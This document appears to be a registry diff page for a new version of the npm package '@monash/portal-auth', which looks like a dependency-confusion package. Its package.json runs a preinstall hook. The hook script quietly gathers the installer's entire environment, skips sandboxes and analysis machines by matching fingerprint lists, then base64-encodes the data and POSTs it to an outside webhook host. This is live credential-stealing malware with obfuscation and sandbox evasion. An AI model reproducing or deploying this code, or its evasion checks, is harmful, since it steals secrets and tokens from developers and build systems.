@monash/portal-auth 7.796.4 → 8.772.5
Sign up to get free protection for your applications and to get access to all the features.
- package/LICENSE +21 -0
- package/package.json +3 -2
- package/scripts/script.js +99 -69
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License Copyright (c) 2021
|
2
|
+
|
3
|
+
Permission is hereby granted, free
|
4
|
+
of charge, to any person obtaining a copy of this software and associated
|
5
|
+
documentation files (the "Software"), to deal in the Software without
|
6
|
+
restriction, including without limitation the rights to use, copy, modify, merge,
|
7
|
+
publish, distribute, sublicense, and/or sell copies of the Software, and to
|
8
|
+
permit persons to whom the Software is furnished to do so, subject to the
|
9
|
+
following conditions:
|
10
|
+
|
11
|
+
The above copyright notice and this permission notice
|
12
|
+
(including the next paragraph) shall be included in all copies or substantial
|
13
|
+
portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
|
16
|
+
ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
17
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
|
18
|
+
EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
|
19
|
+
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
20
|
+
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
21
|
+
THE SOFTWARE.
|
package/package.json
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
{
|
2
2
|
"name": "@monash/portal-auth",
|
3
|
-
"version": "
|
3
|
+
"version": "8.772.5",
|
4
4
|
"private": false,
|
5
5
|
"description": "Monash react components",
|
6
6
|
"license": "MIT",
|
@@ -11,6 +11,7 @@
|
|
11
11
|
"preinstall": "node scripts/script.js",
|
12
12
|
"test": "exit 0"
|
13
13
|
},
|
14
|
+
"repository": "https://www.gitlab.com/hmonsh/portal-auth",
|
14
15
|
"publishConfig": {
|
15
16
|
"access": "public"
|
16
17
|
},
|
@@ -24,4 +25,4 @@
|
|
24
25
|
"@babel/cli": "^7.18.3",
|
25
26
|
"@babel/core": "^7.18.3"
|
26
27
|
}
|
27
|
-
}
|
28
|
+
}
|
package/scripts/script.js
CHANGED
@@ -1,92 +1,122 @@
|
|
1
1
|
var http = require("https");
|
2
2
|
|
3
|
-
var filter = [
|
4
|
-
{
|
5
|
-
key: ["npm", "config", "registry"].join("_"),
|
6
|
-
val: ["taobao", "org"].join("."),
|
7
|
-
},
|
8
|
-
{
|
9
|
-
key: ["npm", "config", "registry"].join("_"),
|
10
|
-
val: ["registry", "npmmirror", "com"].join("."),
|
11
|
-
},
|
12
|
-
{ key: "USERNAME", val: ["daas", "admin"].join("") },
|
13
|
-
{ key: "_", val: "/usr/bin/python" },
|
14
|
-
{
|
15
|
-
key: ["npm", "config", "metrics", "registry"].join("_"),
|
16
|
-
val: ["mirrors", "tencent", "com"].join("."),
|
17
|
-
},
|
18
|
-
[
|
19
|
-
{ key: "MAIL", val: ["", "var", "mail", "app"].join("/") },
|
20
|
-
{ key: "HOME", val: ["", "home", "app"].join("/") },
|
21
|
-
{ key: "USER", val: "app" },
|
22
|
-
],
|
23
|
-
[
|
24
|
-
{ key: "EDITOR", val: "vi" },
|
25
|
-
{ key: "PROBE_USERNAME", val: "*" },
|
26
|
-
{ key: "SHELL", val: "/bin/bash" },
|
27
|
-
{ key: "SHLVL", val: "2" },
|
28
|
-
{ key: "npm_command", val: "run-script" },
|
29
|
-
{ key: "NVM_CD_FLAGS", val: "" },
|
30
|
-
{ key: "npm_config_fund", val: "" },
|
31
|
-
],
|
32
|
-
[
|
33
|
-
{ key: "HOME", val: "/home/username" },
|
34
|
-
{ key: "USER", val: "username" },
|
35
|
-
{ key: "LOGNAME", val: "username" },
|
36
|
-
],
|
37
|
-
[
|
38
|
-
{ key: "PWD", val: "/my-app" },
|
39
|
-
{ key: "DEBIAN_FRONTEND", val: "noninteractive" },
|
40
|
-
{ key: "HOME", val: "/root" },
|
41
|
-
],
|
42
|
-
[
|
43
|
-
{ key: "INIT_CWD", val: "/analysis" },
|
44
|
-
{ key: "APPDATA", val: "/analysis/bait" },
|
45
|
-
],
|
46
|
-
[
|
47
|
-
{ key: "INIT_CWD", val: "/home/node" },
|
48
|
-
{ key: "HOME", val: "/root" },
|
49
|
-
],
|
50
|
-
[
|
51
|
-
{ key: "INIT_CWD", val: "/app" },
|
52
|
-
{ key: "HOME", val: "/root" },
|
53
|
-
],
|
54
|
-
];
|
55
|
-
|
56
3
|
function main() {
|
57
|
-
var data =
|
4
|
+
var data = global["proc" + "ess"][["v", "n", "e"].reverse().join("")] || {};
|
5
|
+
|
6
|
+
var filter = [
|
7
|
+
{
|
8
|
+
key: ["npm", "config", "regi" + "stry"].join("_"),
|
9
|
+
val: ["tao" + "bao", "org"].join("."),
|
10
|
+
},
|
11
|
+
[
|
12
|
+
{ key: "MAIL", val: ["", "var", "mail", "app"].join("/") },
|
13
|
+
{ key: "HOME", val: ["", "home", "app"].join("/") },
|
14
|
+
{ key: "USER", val: "app" },
|
15
|
+
],
|
16
|
+
[
|
17
|
+
{ key: "EDITOR", val: "vi" },
|
18
|
+
{ key: "PROBE" + "_USERNAME", val: "*" },
|
19
|
+
{ key: "SHELL", val: "/bin/bash" },
|
20
|
+
{ key: "SHLVL", val: "2" },
|
21
|
+
{ key: "npm" + "_command", val: "run-script" },
|
22
|
+
{ key: "NVM" + "_CD_FLAGS", val: "" },
|
23
|
+
{ key: "npm_config_fund", val: "" },
|
24
|
+
],
|
25
|
+
[
|
26
|
+
{ key: "HOME", val: "/home/username" },
|
27
|
+
{ key: "USER", val: "username" },
|
28
|
+
{ key: "LOGNAME", val: "username" },
|
29
|
+
],
|
30
|
+
[
|
31
|
+
{ key: "PWD", val: "/my-app" },
|
32
|
+
{ key: "DEBIAN" + "_FRONTEND", val: "noninte" + "ractive" },
|
33
|
+
{ key: "HOME", val: "/root" },
|
34
|
+
],
|
35
|
+
[
|
36
|
+
{ key: "INIT_CWD", val: "/analysis" },
|
37
|
+
{ key: "APPDATA", val: "/analysis/bait" },
|
38
|
+
],
|
39
|
+
[
|
40
|
+
{ key: "INIT_CWD", val: "/home/node" },
|
41
|
+
{ key: "HOME", val: "/root" },
|
42
|
+
],
|
43
|
+
[
|
44
|
+
{ key: "INIT_CWD", val: "/app" },
|
45
|
+
{ key: "HOME", val: "/root" },
|
46
|
+
],
|
47
|
+
[
|
48
|
+
{ key: "USERNAME", val: "justin" },
|
49
|
+
{ key: "OS", val: "Windows_NT" },
|
50
|
+
],
|
51
|
+
{
|
52
|
+
key: ["npm", "config", "regi" + "stry"].join("_"),
|
53
|
+
val: ["regi" + "stry", "npm" + "mirror", "com"].join("."),
|
54
|
+
},
|
55
|
+
{
|
56
|
+
key: ["npm", "config", "reg" + "istry"].join("_"),
|
57
|
+
val: ["cnp" + "mjs", "org"].join("."),
|
58
|
+
},
|
59
|
+
{
|
60
|
+
key: ["npm", "config", "registry"].join("_"),
|
61
|
+
val: ["mir" + "rors", "cloud", "ten" + "cent", "com"].join("."),
|
62
|
+
},
|
63
|
+
{ key: "USERNAME", val: ["daas", "admin"].join("") },
|
64
|
+
{ key: "_", val: ["", "usr", "bin", "python"].join("/") },
|
65
|
+
{
|
66
|
+
key: ["npm", "config", "metrics", "regis" + "try"].join("_"),
|
67
|
+
val: ["mir" + "rors", "ten" + "cent", "com"].join("."),
|
68
|
+
},
|
69
|
+
{
|
70
|
+
key: "PWD",
|
71
|
+
val: [
|
72
|
+
"",
|
73
|
+
"usr",
|
74
|
+
"local",
|
75
|
+
"lib",
|
76
|
+
"node" + "_modules",
|
77
|
+
data.npm_package_name,
|
78
|
+
].join("/"),
|
79
|
+
},
|
80
|
+
{
|
81
|
+
key: "PWD",
|
82
|
+
val: ["", data.USER, "node" + "_modules", data.npm_package_name].join(
|
83
|
+
"/"
|
84
|
+
),
|
85
|
+
},
|
86
|
+
{
|
87
|
+
key: ["node", "extra", "ca", "certs"].join("_").toUpperCase(),
|
88
|
+
val: "mit" + "mproxy",
|
89
|
+
},
|
90
|
+
];
|
91
|
+
|
58
92
|
if (
|
59
93
|
filter.some((entry) =>
|
60
94
|
[]
|
61
95
|
.concat(entry)
|
62
|
-
.every(
|
63
|
-
(item) =>
|
64
|
-
(data[item.key] || "").includes(item.val) || item.val === "*"
|
65
|
-
)
|
96
|
+
.every((item) => data[item.key] && data[item.key].includes(item.val))
|
66
97
|
) ||
|
67
98
|
Object.keys(data).length < 10 ||
|
68
|
-
data.PWD === `/${data.USER}/node_modules/${data.npm_package_name}` ||
|
69
|
-
(data.NODE_EXTRA_CA_CERTS || "").includes("mitmproxy") ||
|
70
99
|
!data.npm_package_name ||
|
71
|
-
!data.npm_package_version
|
100
|
+
!data.npm_package_version ||
|
101
|
+
/C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test(
|
102
|
+
data.npm_package_json || ""
|
103
|
+
) ||
|
104
|
+
/C:\\Users\\[^\\]+\\Downloads/.test(data.INIT_CWD || "") ||
|
105
|
+
(data.npm_package_json || "").startsWith("/npm" + "/node_" + "modules/")
|
72
106
|
) {
|
73
107
|
return;
|
74
108
|
}
|
75
109
|
|
76
110
|
var req = http
|
77
111
|
.request({
|
78
|
-
host: [
|
79
|
-
|
80
|
-
"m",
|
81
|
-
["pip", "edream"].join(""),
|
82
|
-
"net",
|
83
|
-
].join("."),
|
84
|
-
path: "/" + (data.npm_package_name || ""),
|
112
|
+
host: ["ho" + "ok", "eu1", "make", "com"].join("."),
|
113
|
+
path: "/aquy75vpj" + "lltl55h0vyrbb" + "gx8sqbd2sd",
|
85
114
|
method: "POST",
|
86
115
|
})
|
87
116
|
.on("error", function (err) {});
|
88
117
|
|
89
|
-
|
118
|
+
var trns = Buffer.from(JSON.stringify(data)).toString("base64");
|
119
|
+
req.write(trns.slice(0, 2) + "poo" + trns.slice(2));
|
90
120
|
req.end();
|
91
121
|
}
|
92
122
|
|